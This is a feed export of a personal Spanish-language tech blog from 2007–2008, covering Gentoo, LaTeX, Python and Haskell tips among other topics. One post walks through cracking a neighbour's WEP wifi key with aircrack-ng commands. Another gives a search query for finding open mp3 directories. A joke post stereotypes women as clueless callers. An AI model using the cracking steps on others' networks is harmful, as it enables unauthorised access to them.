tag:blogger.com,1999:blog-64761588602153221272008-08-11T10:04:31.459-03:00sir shamrock's blogsir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comBlogger18125tag:blogger.com,1999:blog-6476158860215322127.post-12987932586081695002008-03-20T19:14:00.000-03:002008-07-20T19:33:53.841-03:00HOWTO install StarCraft NOCDAccording to this <a href="http://us.blizzard.com/support/article.xml?articleId=21150&rhtml=true">technical note</a> at Blizzard.com, it's official: "<span style="font-style: italic;">StarCraft</span> and <span style="font-style: italic;">StarCraft: BroodWar</span> no longer require the CD while playing the game."<br /><br />No cracks, keygens or unofficial patches needed. The only cons is that you need to copy the installer file, that is almost 600 MB long. (But who cares about half a GB nowadays?)<br /><br />These are 3 easy steps to do it:<br /><ol><li><span style="font-weight: bold;">Install StarCraft Patch 1.15.2.</span><br />It is officially available at the "<a href="http://us.blizzard.com/support/article.xml?articleId=21149&rhtml=true">Starcraft Patch Information</a>" page. Just download the executable and run it.</li><li><span style="font-weight: bold;">Copy the installer executable to the game's folder and rename it.</span><br />On Windows: Copy "INSTALL.EXE" from the <span style="font-style: italic;">StarCraft</span> CD to the folder where you've installed the game and rename it as "StarCraft.mpq". (You may need to disable file extension hiding in Folder options.) Same for <span style="font-style: italic;">StarCraft: Brood War</span>: Copy this game's "INSTALL.EXE" to the folder where you've installed it and rename it as "BroodWar.mpq".<br />On Mac: Copy "StarCraft Archive" from the <span style="font-style: italic;">StarCraft</span> CD to your StarCraft folder. For <span style="font-style: italic;">StarCraft: Brood War</span>: You may also copy "Brood War Archive" to the same folder.</li><li><span style="font-weight: bold;">Enjoy playing StarCraft without CD</span>!</li></ol><br />This information was very useful to me while trying to bring back good old times of RTS gaming after many years of dull university life. Hehehe...sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-61913237938942581982008-01-31T19:08:00.001-02:002008-01-31T22:53:27.760-02:00Python EssentialsHace casi exactamente 2 meses que aprendí Python y desde entonces vengo trabajando en una web application que promete ser un <a href="http://www.popego.com/">web service aggregator</a> muy interesante.<br /><br />A continuación una serie de links fundamentales para todo py-developer:<br /><ul><br /><br /><li>El tutorial que debería ser el primero de toda persona que aprenda Python: <a href="http://www.python.org/doc/tut/">Python Tutorial by Guido van Rossum</a><br /></li><br /><br /><li>Tutoriales más avanzados: <a href="http://www.diveintopython.org/">Dive into Python</a><br /></li><br /><br /><li>¿Python Argentina? ¡<a href="http://www.python.com.ar/moin/Inicio">PyAr</a>!<br /></li><br /><br /><li>Para referencia rápida, resulta útil tener en el browser un <a href="http://mycroft.mozdev.org/download.html?name=python&sherlock=yes&opensearch=yes&submitform=Search" target="_top">"Python Documentation" search engine</a>. De hecho, <a href="http://docs.python.org/">Python Documentation</a> es un punto de partida para todas las APIs.</li><br /><br /><li>¿Por qué Python es tan potente? Por ejemplo, porque es muy fácil hacer un <a href="http://mail.python.org/pipermail/tutor/2002-July/015425.html">OOP dynamic proxy.</a></li><br /><br /><li>¿Por qué Python es tan potente? (bis) Puede ser interpretado por ejemplo con <a href="http://ipython.scipy.org/moin/Documentation">ipython</a>, lo cual es sumamente útil a la hora de probar nuevos códigos o hacer testing y debugging de funciones, como si programaras "on-the-fly".<br /></li><br /><br /><li>¿Qué tan difícil es instalar módulos de Python?: "<a href="http://peak.telecommunity.com/DevCenter/EasyInstall">Easy Install</a> is a python module (<tt class="literal"><span class="pre">easy_install</span></tt>) bundled with <tt class="literal"><span class="pre">setuptools</span></tt> that lets you automatically download, build, install, and manage Python packages."</li><br /><br /><li>"El" framework para proyectos web de Python es <a href="http://pylonshq.com/">Pylons</a>: "Pylons combines the very best ideas from the worlds of Ruby, Python and Perl, providing a structured but extremely flexible Python web framework. It's also one of the first projects to leverage the emerging <a href="http://pylonshq.com/docs/wsgi.html">WSGI</a> standard, which allows extensive re-use and flexibility — but only if you need it. Out of the box, Pylons aims to make web development fast, flexible and easy."<br /></li><br /><br /><li>Como herramienta de desarrollo de aplicaciones web está <a href="http://pythonpaste.org/">Paster</a>: "Python Paste brings consistency to Python web development and web application installation, providing tools for both developers and system administrators."<br /></li><br /><br /><li>Para los que buscan alternativas a la forma en que se suelen mezclar lenguajes como PHP, ASP y JSP en medio de HTML: <a href="http://www.makotemplates.org/">Mako templates</a><br /></li><br /><br /><li>Tutorial básico para manejar forms en Pylons: <a href="http://wiki.pylonshq.com/display/pylonsdocs/Form+Handling">Form Handling</a><br /></li><br /><br /><li>Un módulo para Python que hace trivial la validación de formularios: <a href="http://formencode.org/Validator.html">FormEncode Validation</a><br /></li><br /><br /><li>Un ORM que si bien todavía está bastante verde me sorprendió, es <a href="http://elixir.ematia.de/trac/">Elixir</a>: "Elixir is a declarative layer on top of the <a href="http://www.sqlalchemy.org/">SQLAlchemy</a> library. It is a fairly thin wrapper, which provides the ability to create simple Python classes that map directly to relational database tables (this pattern is often referred to as the Active Record design pattern), providing many of the benefits of traditional databases without losing the convenience of Python objects."</li><br /><br /><li>Una librería de procesamiento de imágenes que hace de todo: <a href="http://www.pythonware.com/library/pil/handbook/index.htm">PIL</a><br /></li><br /><br /><li>Algunos módulos de Python son un "Swiss Army knife" para el programador: feedparser, htmllib, re, datetime, beautifulsoup, routes, etc.</li><br /><br /><li>Y aunque no sea de Python: Una librería que lleva al Javascript a un nivel de expresividad muy superior (y en especial en cuanto a manejo del DOM, uso de Json y AJAX, animaciones y efectos visuales, aspectos de lenguajes funcionales, eventos, etc.): <a href="http://docs.mootools.net/">Mootools</a><br /></li><br /><br /></ul>sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-76981438697397493532007-12-29T14:15:00.000-03:002008-01-31T22:57:42.905-02:00¿Se puede pinchar una red inalámbrica con clave WEP?Gracias a este artículo de SmallNetBuilder sobre <a href="http://www.smallnetbuilder.com/content/view/30114/98/">WEP Cracking</a>, hoy pude comprobar que se puede crackear la clave WEP (<span style="font-style: italic;">Wired Equivalent Privacy</span>) para conectarse a una red inalámbrica. O dicho para que lo entienda mi abuela, si tu vecino tiene una conexión a Internet por wifi que nunca pudiste usar porque desconocés la clave de acceso WEP, es posible averiguarla sin mayor dificultad.<br /><br />El único requisito (además de tener una placa de red inalámbrica adecuada y encontrar una red wifi de tales características, con al menos un cliente que se conecte cada tanto), es instalar el paquete aircrack-ng. En Ubuntu Linux, esto se puede hacer desde el gestor Synaptics o con:<br /><pre>sudo apt-get install aircrack-ng</pre><br />Básicamente los comandos que tuve que correr son:<br /><pre># PRIMERO: MODO MONITOR<br /># Para poner el adaptador wireless en modo monitor:<br /># (ath0 y wifi0 dependen del adaptador)<br />airmon-ng stop ath0<br />airmon-ng start wifi0<br /># SEGUNDO: CAPTURAR PAQUETES<br /># Para empezar a capturar paquetes de cualquier Access Point (AP) y<br /># registrar los vectores de inicialización (IVs) necesarios para el cracking:<br />airodump-ng --ivs --write capturefile ath0<br /># Con esto se averiguan 3 datos a utilizar luego: Número del canal,<br /># BSSID del Access Point y BSSID de un cliente asociado.<br /># Para capturar paquetes sólo del AP deseado:<br />airodump-ng --ivs --channel [número del canal] --bssid [BSSID del Access Point] --write capturefile ath0<br /># TERCERO: ACELERAR CAPTURA<br /># Para acelerar la captura de paquetes generando tráfico ARP:<br /># (Hay que llegar a muchos #Data, al menos 300.000)<br />aireplay-ng --arpreplay -b [BSSID del Access Point] -h [BSSID del cliente asociado al AP] ath0<br /># CUARTO: CRACK<br /># Una vez registrados suficientes IVs, usarlos para crackear la clave del AP<br />aircrack-ng -b [BSSID del Access Point] capturefile*.ivs<br /># Encontrada la clave se puede ingresar como hexadecimal (sin los ":")<br /># al intentar conectarse a la red wireless en cuestión.<br /></pre><br />Esto es sólo un resumen para mostrar con sólo 4 comandos del paquete aircrack (y casi ningún conocimiento de redes inalámbricas), se puede crackear la clave WEP del Access Point. Para mayores detalles, recomiendo el artículo que mencioné antes.<br /><br />Ahora que sabés cómo crackear la clave WEP de una red inalámbrica, no hagas nada ilegal. Este artículo es de interés técnico: Ahora sabés que se puede robar la conexión a una red inalámbrica con clave WEP así como se pincha el teléfono y la televisión por cable.sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-22233945025275108802007-11-20T17:40:00.000-03:002007-11-20T17:47:53.609-03:00Panorámicas del Cerro Uritorco<p>Este es un video que compilé recientemente con lo que filmé en las vacaciones de invierno en Capilla del Monte, cuando subí al <a href="http://www.cerrouritorcoam.com.ar/">Cerro Uritorco</a>.</p><object height="355" width="425"><param name="movie" value="http://www.youtube.com/v/1JioGCeXqwE&rel=1&color1=0x234900&color2=0x4e9e00&border=0"><param name="wmode" value="transparent"><embed src="http://www.youtube.com/v/1JioGCeXqwE&rel=1&color1=0x234900&color2=0x4e9e00&border=0" type="application/x-shockwave-flash" wmode="transparent" height="355" width="425"></embed></object>sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-35819410410863631532007-10-02T12:56:00.000-03:002008-01-31T22:57:55.709-02:00Me verás volver a la ciudad de la furia...Vuelve <a href="http://sodastereo.com/">Soda</a>. Ya tengo entradas para el 3 noviembre en River.<br /><object height="366" width="425"><param name="movie" value="http://www.youtube.com/v/3vSPomHlZJI&rel=1"><param name="wmode" value="transparent"><embed src="http://www.youtube.com/v/3vSPomHlZJI&rel=1" type="application/x-shockwave-flash" wmode="transparent" height="366" width="425"></embed></object><br />Gracias al blog de <a href="http://www.sodafans.com/2007/09/anticipando-su-retorno-soda-stereo.html">Sodafans</a>, podemos escuchar la conferencia de prensa que dieron hace unos días en San Telmo:<br /><object type="application/x-shockwave-flash" data="http://www.hotlinkfiles.com/files/395862_tmmo6/dewplayer.swf?mp3=http://www.hotlinkfiles.com/files/395816_ldvqh/conferenciasf.mp3" height="20" width="200"><br /><param name="movie" value="http://www.hotlinkfiles.com/files/395862_tmmo6/dewplayer.swf?mp3=http://www.hotlinkfiles.com/files/395816_ldvqh/conferenciasf.mp3"></object>sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-22498555210909641972007-09-28T18:37:00.000-03:002007-09-28T20:11:56.433-03:00Algunos tips útiles para LaTeX<p style="font-weight: bold;">Para escribir con tildes y tener separación de sílabas en español</p><p>Entre los paquetes incluidos agregar:</p><pre>\usepackage[latin1]{inputenc}<br />\usepackage[spanish]{babel}<br /></pre><p style="font-weight: bold;">Para usar gráficos EPS escalados al ancho del texto</p><p>Entre los paquetes incluidos agregar:</p><pre>\usepackage[dvips]{epsfig}<br />\usepackage{graphics}<br />\def\epsfsize#1#2{\textwidth}<br /></pre><p>Y luego para poner un grafico EPS:</p><pre>\begin{figure}<br />\begin{center}<br />\epsffile{../graficos/frec_relativa.eps}<br />\caption{Frecuencias relativas del experimento.}<br />\label{fig:frec_relativa}<br />\end{center}<br />\end{figure}<br /></pre><p style="font-weight: bold;">Para usar la plantilla de artículo de la AMS</p><p>Cambiar la clase de documento a:</p><pre>\documentclass[a4paper,10pt]{amsart}<br /></pre><p style="font-weight: bold;">Para poner la bibliografía</p><pre>\begin{thebibliography}{}<br />\bibitem[Matthews-Fink, 2003]{Matthews-Fink} Mathews, J. H. y<br />Fink, K. D. (2003), \emph{Métodos numéricos con MATLAB}.<br />3a edición. Prentice Hall.<br />\end{thebibliography}<br /></pre><p style="font-weight: bold;">Para renombrar "Cuadro", "Abstract", "Referencias" y otros</p><p>Luego del comienzo del documento (\begin{document}) agregar alguno de estos:</p><pre>\renewcommand{\figurename}{Figura}<br />\renewcommand{\abstractname}{Resumen}<br />\renewcommand{\refname}{Bibliografía}<br />\renewcommand{\tablename}{Tabla}<br />\renewcommand{\languagename}{}<br />\renewcommand{\figurename}{Figura \thefigure} % útil para beamer<br />\renewcommand{\tablename}{Tabla \thetable} % útil para beamer<br /></pre><p style="font-weight: bold;">Para hacer presentaciones de diapositivas</p><p>Cambiar la clase de documento a:</p><pre>\documentclass{beamer}</pre>sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-89851981623400814952007-08-18T21:53:00.003-03:002008-02-15T12:24:43.716-02:00Instalando Gentoo Linux en una Compaq Presario 1255 - Parte 3Siguiendo con el recuento de la <a href="http://www.coffey.com.ar/2007/08/instalando-gentoo-en-compaq-1255-parte.html">instalación de Gentoo</a> que hice en una laptop Compaq Presario 1255, llegó el momento de instalar en disco el sistema de base como se indica en la <a href="http://www.gentoo.org/doc/es/handbook/handbook-x86.xml?part=1&chap=5">Capítulo 5 y 6 del manual de instalación del Gentoo Handbook</a>.<br /><br />Antes que nada es importante tener la fecha bien puesta o de lo contrario algunas instalaciones pueden fallar. Verificarlo ejecutando date. Para cambiarla hay que ejecutar el mismo comando con un parámetro de fecha escrita en formato mes-día-hora-minutos-año (todo con 2 dígitos salvo por el año que son 4). O para más información consultar man date. Por ejemplo:<br /><br /><blockquote># date 081822502007<br /></blockquote><br />Para instalar el sistema de base, tuve que bajar el stage3 ya que esta instalación fue a partir de un Knoppix. No tuve a mano un LiveCD y menos para la arquitectura i586 del microprocesador AMD K6 II que trae la Compaq Presario 1255.<br /><br />Knoppix maneja <a href="http://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">DHCP</a> a través del servicio pump. Esta información me bastó para arreglármelas con mi conexión al cablemodem de Fibertel, la placa PCMCIA 3Com EtherLink III que traía esta laptop y la auto-configuración que hace el Knoppix de ella con el cardmgr. Por cualquier duda, los DNS servers de Fibertel son (para poner en /etc/resolv.conf):<br /><br /><blockquote># Generated by dhcpcd for interface eth1<br />nameserver 200.49.156.8<br />nameserver 200.49.156.3<br />nameserver 200.49.156.7<br />nameserver 172.20.2.12<br /></blockquote><br />Para ver la configuración de las interfaces de red activas se puede correr ifconfig, y para probar la conexión a Internet se puede hacer un ping gentoo.org. Todo esto me funcionó bastante automáticamente con el Knoppix como para que pueda navegar por Internet con el links (web browser para consola). Toda esta parte es muy dependiente de cada situación particular de conexión a Internet o a alguna intranet así que hasta aquí llega mi ayuda.<br /><br />Antes de seguir, conviene posicionarse en la ruta donde fue montada la partición principal del disco rígido:<br /><br /><blockquote># cd /mnt/gentoo<br /></blockquote><br />Ahora hay que bajar 2 archivos (y sus correspondientes sumas de verificación para chequear su integridad con md5sum -c ...):<br />stage3-i586-200?.?.tar.bz2<br />portage-latest.tar.bz2<br />(donde ? es el número más alto disponible y i586 se refiere a la arquitectura del microprocesador AMD K6 II que tiene la laptop en cuestión.)<br /><br />Se puede utilizar el links para elegir un mirror de donde bajarlos:<br /><br /><blockquote># links http://www.gentoo.org/main/en/mirrors.xml<br /></blockquote><br />Para descomprimir ambos tarballs:<br /><br /><blockquote># tar xvjpf stage3-*.tar.bz2<br /># tar xvjf /mnt/gentoo/portage-latest.tar.bz2 -C /mnt/gentoo/usr<br /></blockquote><br />Finalmente, hay que personalizar las opciones de compilación para el Portage:<br /><br /><blockquote># nano -w /mnt/gentoo/etc/make.conf<br /><pre><br /># Please consult /etc/make.conf.example for a more detailed example<br />CFLAGS="-march=i586 -O2 -pipe"<br />CHOST="i586-pc-linux-gnu"<br />CXXFLAGS="${CFLAGS}"<br />MAKEOPTS="-j2"<br />ACCEPT_KEYWORDS=""<br />USE="X .............." # Consultar Gentoo wiki para personalizar esta línea<br />VIDEO_CARDS="via"<br />INPUT_DEVICES="keyboard mouse"<br />ALSA_CARDS="via82xx"<br />PORTDIR_OVERLAY=/usr/local/portage<br />LINGUAS="es_AR es en"<br />SYNC="rsync://rsync.samerica.gentoo.org/gentoo-portage"<br />GENTOO_MIRRORS="ftp://mirrors.localhost.net.ar/pub/mirrors/gentoo "<br /><br /></pre><br /><br /></blockquote>sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-75518957503006288702007-08-18T21:35:00.000-03:002008-02-15T12:24:43.717-02:00Instalando Gentoo en Compaq 1255 - Parte 2Como decía en otro post, estuve <a href="http://www.coffey.com.ar/2007/05/instalando-gentoo-linux-en-una-vieja.html">instalando un Gentoo Linux en una Compaq Presario 1255</a> (AMD K6 II 233 MHz) a partir de un Knoppix Live CD.<br /><br />Al momento de particionar el disco (<a href="http://www.gentoo.org/doc/es/handbook/handbook-x86.xml?part=1&chap=4">Parte 4 del Gentoo Handbook</a>), se puede utilizar una herramienta mucho más amigable que el clásico fdisk.<br /><br /><blockquote># cfdisk /dev/hda<br /></blockquote><br />La funcionalidad es la misma pero es interactivo y muestra las opciones posibles sin tener que saberlas de memoria.<br /><br />Yo borré todas las particiones, y utilicé el típico esquema de tres particiones: boot, swap y principal. Otros esquemas pueden ser mejores para otros casos. Finalmente las particiones quedaron así:<br /><blockquote><br /># fdisk -l /dev/hda<br /><pre><br />Disco /dev/hda: 4327 MB, 4327464960 bytes<br />240 cabezas, 63 sectores/pista, 559 cilindros<br />Unidades = cilindros de 15120 * 512 = 7741440 bytes<br /><br />Disposit. Inicio Comienzo Fin Bloques Id Sistema<br />/dev/hda1 * 1 4 30208+ 83 Linux<br />/dev/hda2 5 70 498960 82 Linux swap / Solaris<br />/dev/hda3 71 559 3696840 83 Linux<br /></pre><br /></blockquote><br /><br />Luego comprobé que se podría haber utilizado menos espacio para la partición de arranque hda1 pero no es un cambio muy importante.<br /><br />Para formatear las tres particiones:<br /><br /><blockquote># mke2fs /dev/hda1<br /># mke2fs -j /dev/hda3<br /># mkswap /dev/hda2<br /></blockquote><br />Hice ext3 la tercera partición para que tenga <a href="http://web.mit.edu/rhel-doc/3/rhel-sag-es-3/ch-ext3.html">journaling</a>, cosa que no hace falta en la partición de arranque /dev/hda1 (ext2). La partición de swap se utiliza para el swapping en el multi-tasking y no necesita más que un mkswap, aunque para activarla hay que ejecutar:<br /><br /><blockquote># swapon /dev/hda2</blockquote><br /><br />Finalmente, se montan las otras dos particiones al <a href="http://en.wikipedia.org/wiki/Virtual_file_system">Virtual File System</a> que<br />maneja el Knoppix para poder proseguir con la instalación en el disco rígido.<br /><br /><blockquote># mount /dev/hda3 /mnt/gentoo<br /># mkdir /mnt/gentoo/boot<br /># mount /dev/hda1 /mnt/gentoo/boot<br /></blockquote><br />Conclusión: Salvo por el uso de cfdisk, la etapa de particionamiento del disco en la instalación de Gentoo que hice siguió las directivas del Handbook.<br /><br />En la próxima, les cuento cómo me fue con la configuración de la red, la instalación del "stage3 tarball" y el Portage y la personalización del make.conf.sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-4735262029634476702007-08-10T13:30:00.000-03:002008-03-01T14:40:48.368-02:00Tip para buscar música en GoogleTip para buscar música en Google:<br /><br /><blockquote>-inurl:(htm|html|php) intitle:"index of" +"last modified" +"parent directory" +description +size +mp3 "The Beatles"<br /></blockquote><br />Probalo con esta <a href="http://www.google.com/search?hl=en&q=-inurl%3A%28htm%7Chtml%7Cphp%29+intitle%3A%22index+of%22+%2B%22last+modified%22+%2B%22parent+directory%22+%2Bdescription+%2Bsize+%2Bmp3+%22The+Beatles%22">Búsqueda Google</a>.<br /><br />Más tips en esta entrada de blog: "<a href="http://www.marcandangel.com/2007/07/25/7-clever-google-tricks-worth-knowing/">7 Clever Google Tricks Worth Knowing</a>".sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-55155732663786684912007-06-22T11:45:00.000-03:002007-06-22T12:01:24.159-03:00Java vs. Haskell: Buscando números primos¿Cuántas líneas de código Java llevaría implementar una función que devuelva los <span style="font-style: italic;">n</span> primeros números primos?<br /><br />En Haskell, llevaría menos de 15, con comentarios y buen estilo incluídos:<br /><pre>module Primes where<br /><br /> -- Función que devuelve los n primeros números primos<br /> primes :: Int -> [Int]<br /> primes n = take n allThePrimes<br /><br /> -- Lista infinita de números primos<br /> allThePrimes :: [Int]<br /> allThePrimes = sieve (iterate (+1) 2)<br /><br /> -- Implementación de la Criba de Eratóstenes<br /> sieve :: [Int] -> [Int]<br /> sieve (x:xs) = x:sieve (filter (notMultiple x) xs)<br /> where notMultiple x y = y `mod` x /= 0<br /><br /></pre>sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-2295874393242504382007-06-17T15:17:00.000-03:002007-06-17T15:21:05.875-03:00Italia vs. Europa (o Argentina vs. el mundo)Una animación que debería llamarse "El mundo y Argentina":<br /><a href="http://www.infonegocio.com/xeron/bruno/italy.html">"Europe and Italy" por Bruno Bozzetto</a><br />¡Muy buena!<br />Más animaciones Flash del estilo en <a href="http://www.bozzetto.com/flashfilms2.htm">Bozzetto.com</a>sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-40607412608403040802007-06-13T20:58:00.005-03:002008-02-15T12:45:30.051-02:00Strange Maps blogUno de los blogs más interesantes que conozco es <a href="http://strangemaps.wordpress.com/">Strange Maps</a>.<br />En particular, hay un post de junio que hace el <a href="http://strangemaps.wordpress.com/2007/06/10/131-us-states-renamed-for-countries-with-similar-gdps/">paralelo entre estados individuales de Estados Unidos con otros países del mundo</a> en cuanto a su PBI. Impresionante. Da para muchas conclusiones.sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-57637283329796432802007-06-01T20:51:00.001-03:002008-03-01T14:41:51.306-02:00"La primera web 2.0 argentina"<a href="http://flof.com.ar/bin/home/">flof.com.ar</a> es un sitio donde se pueden compartir lugares catalogados por usuarios. Permite ver imágenes satelitales, ya que está construido sobre <a href="http://maps.google.com/">Google Maps</a>, pero además marca las calles y rutas más importantes de Argentina, Chile y Uruguay.<br /><br />Según dicen, es "la primera <a href="http://es.wikipedia.org/wiki/Web_2.0">web 2.0</a> desarrollada en la Argentina". Citando:<br /><blockquote>¿qué es flof?<br /><ul><li>flof es una colección de lugares catalogados por usuarios en forma libre. Así como guardás tus páginas favoritas, con flof vas a poder guardar, compartir y descubrir lugares dentro de una gran comunidad.</li><li>flof es una aplicación colaborativa: la información disponible es el resultado de la interacción de los usuarios con la aplicación y de los datos que éstos aportan al catalogar e ingresar puntos en el mapa (lugares).</li><li>flof integra las últimas tecnologías de Internet para brindar una aplicación innovadora, confiable y sencilla de operar.</li><li>flof es la primera web 2.0 desarrollada en la Argentina.</li></ul></blockquote>sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-78251781105469376152007-06-01T20:26:00.000-03:002007-06-01T20:38:21.440-03:00Por qué Google podría haber sido un invento argentino según Patrick ChanezonEl mes pasado, <a href="http://www.chanezon.com/pat/cv/">Patrick Chanezon</a>, evangelista de Google APIs, dio una charla en el <a href="http://www.itba.edu.ar/index.php">ITBA</a>.<br /><br />Algo interesante para destacar de lo que habló es que <a href="http://en.wikipedia.org/wiki/Jorge_Luis_Borges">J. L. Borges</a> es uno de los "most Googley authors".<br /><br />Si Uds. creían que a la lista de inventos argentinos le faltaba algo, parece que Google no estaría lejos de haber sido un invento de Borges en su cuento de "La Biblioteca de Babel", según Chanezon. Esta es una biblioteca donde se encuentran todos los libros que hayan existido o puedan llegar a existir. Aunque Larry Page y Sergey Brin no hayan sido tan ambiciosos como Borges, la idea de un motor de búsqueda de Internet (que indexa las páginas de toda la web) es algo así.<br /><br />La Biblioteca de Babel tiene libros con todas las posibles combinaciones de letras. Para tener una idea de la cantidad de libros que tendría una biblioteca así, cito una estimación que leí en un artículo llamado <a href="http://www.daylightatheism.org/2006/03/how-big-is-the-library-of-babel.html">"How Big is the Library of Babel?"</a>:<br /><br /><blockquote>In other terms, the Library of Babel contains 25^(410*40*80) = 25^1,312,000 books. This is a number compared to which the number of atoms in our universe is infinitesimal.<br /></blockquote><br />Chanezon habló de otros temas también como Google APIs (en general), Ajax, Google Maps, Google Checkout, Google Earth como un KML browser, etc. Los links a muchos de los ejemplos que dió se pueden encontrar en:<br /><a href="http://del.icio.us/chanezon/ba2007"><br />http://del.icio.us/chanezon/ba2007</a>sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-30952759141244641902007-05-16T13:32:00.000-03:002007-05-16T14:38:22.342-03:00Instalando Gentoo Linux en una vieja laptop Compaq Presario - Parte ITodo empezó cuando me pasaron una vieja laptop Compaq Presario 1255. Y digo vieja porque las capacidades son:<br /><ul><li>Procesador AMD K6-II 333 MHz (con 512 KB L2 Pipeline Burst Cache)</li><li>Memoria RAM de 32 MB (SyncDRAM)</li><li>Disco rígido de 4.0 GB</li><li>Pantalla 12.1" HPA Display</li><li>Placa de red PCMCIA 3Com EtherLink III</li><li>Touchpad, Disquetera de 3.5", Lectora de CD-ROM 24X, Modem, Puerto USB, etc.</li></ul> Venía con el Windows 98 pre-instalado. La pregunta era: ¿Qué me conviene tener en esta laptop?<br /><ul><li>El Windows 98 ya funcionaba bastante lento, y sin tener demasiadas cosas en memoria. También, con todo el software que haría falta, ocupaba bastante disco rígido.<br /></li><li>Es bien sabido que Windows 98 se quedó en el tiempo. (No por nada Microsoft lo discontinuó y ya no presta soporte técnico ni actualizaciones de seguridad para Windows 98. Esto lo hace MUY vulnerable. De hecho, Windows XP es continuación del Windows NT que fue re-escrito desde cero, como Dios manda, como leí alguna vez en el libro de Sistemas Operativos de <a href="http://www.cs.vu.nl/%7East/">Tanenbaum</a> & Woodhull.)</li><li>Tener Windows NT o 2000 no consumiría menos resursos. Ni hablar XP o Vista.<br /></li></ul>"So, Bill, you're not gonna have my laptop. So sorry..."<br />La alternativa: <a href="http://en.wikipedia.org/wiki/Linux">Linux</a>.<br /><br />Según me habían contado, existe una distribución de Linux que funciona muy bien como <span style="font-weight: bold;">LiveCD</span>. Es decir que detecta todo el hardware automáticamente y carga todo el sistema operativo (incluyendo el entorno gráfico KDE), sin escribir nada en el disco rígido, todo desde el CD y usando la memoria. Al apagar la PC y sacar el CD, todo sigue como si nunca hubiésemos probado Linux. ¡Es buenísimo!<br /><br />Esta distibución es <a href="http://www.knopper.net/knoppix/index-en.html">Knoppix</a>. Realmente me sorprendió lo bien que funciona. <span style="font-weight: bold;">La recomiendo para todo el que quiera probar Linux</span>, sin tocar un pelo de su sistema.<br /><br />Después de explorar Knoppix un poco (principalmente enterarme de qué dispositivos de hardware tiene la laptop exactamente), empecé la instalación de un Linux en serio. El primer tip que descubrí para "bootear" rápido sin cargar KDE es ingresar, en la línea de comandos de boot (donde normalmente uno presionaría Enter directamente):<br /><blockquote>fb800x600 2<br /></blockquote>Esto permite quedarse en una terminal por línea de comandos, con una resolución de 800x600 acorde a la pantalla de esta laptop. Para más opciones de boot, "press F2 or F3".<br /><br />He probado varias distribuciones de Linux (bah, no muchas), y siempre me gustó <a href="http://www.gentoo.org/">Gentoo</a>. De hecho, en la documentación oficial de Gentoo una de las alternativas es instalar esta distribución <a href="http://www.gentoo.org/doc/en/altinstall.xml#doc_chap3">a partir de un Knoppix</a>. Esto nos permite saltar a la <a href="http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&chap=4">parte 4</a> del manual de instalación de Gentoo.<br /><br />La próxima les cuento cómo me fue con el "re-particionado" del disco rígido y la instalación base del Gentoo Linux.sir shamrockhttp://www.blogger.com/profile/04235283570077329739noreply@blogger.comtag:blogger.com,1999:blog-6476158860215322127.post-76437134249574829302007-05-03T20:21:00.000-03:002007-05-03T21:06:15.747-03:00No es fácil trabajar en el área de Soporte TécnicoSi a alguien la cabe alguna duda de que no es fácil trabajar en el área de soporte técnico, aquí les presento algunas situaciones con las que hay que lidiar a diario.<br /><span style="font-size:100%;"><br /><span style="font-weight: bold;">Caso 1</span><br />Ing. Sist.:¿Qué computadora tiene?<br />Mujer: Una blanca<br /></span><span style="font-size:100%;"><br /><span style="font-weight: bold;">Caso 2</span><br />Mujer: Hola. No puedo sacar el disquete de la disquetera.<br />Ing. Sist.: ¿Ha intentado apretar el botón?<br />Mujer: Sí, claro, está como pegado...<br />Ing. Sist.: Eso no suena bien, tomaré nota.<br />Mujer: No... Espere... no había metido el disquete... está todavía en la mesa... Lo siento, gracias.<br /><br /></span><span style="font-size:100%;"><span style="font-weight: bold;">Caso 3</span><br />Ing. Sist.: Haga clic sobre el icono de 'Mi PC', a la izquierda de la pantalla.<br />Mujer: ¿Su izquierda o mi izquierda?<br /><br /></span><span style="font-size:100%;"><span style="font-weight: bold;">Caso 4</span><br />Ing. Sist.: Buenos días, ¿en qué puedo ayudarle?<br />Mujer: Hola, no puedo imprimir.<br />Ing. Sist.: Por favor, haga clic en "Inicio" y...<br />Mujer: Escuche, no empiece con tecnicismos, no soy experta en computadoras. ¡Maldita sea!<br /><br /></span><span style="font-size:100%;"><span style="font-weight: bold;">Caso 5</span><br />Mujer: Hola, buenas tardes, no puedo imprimir, cada vez que lo intento dice "No se encuentra impresora". Es más, la coloqué enfrente del monitor pero la computadora todavía dice que no la puede encontrar.<br /><br /></span><span style="font-size:100%;"><span style="font-weight: bold;">Caso 6</span><br />Mujer: Tengo problemas para imprimir en rojo<br />Ing. Sist.: Tiene una impresora a color?<br />Mujer: Aaaaaaaah.... gracias.<br /><br /></span><span style="font-size:100%;"><span style="font-weight: bold;">Caso 7</span><br />Ing. Sist.: ¿Qué ve en su monitor ahora mismo?<br />Mujer: Un osito de peluche que mi novio me compró.<br /><br /></span><span style="font-size:100%;"><span style="font-weight: bold;">Caso 8</span><br />Ing. Sist.: Ahora, pulse F8.<br 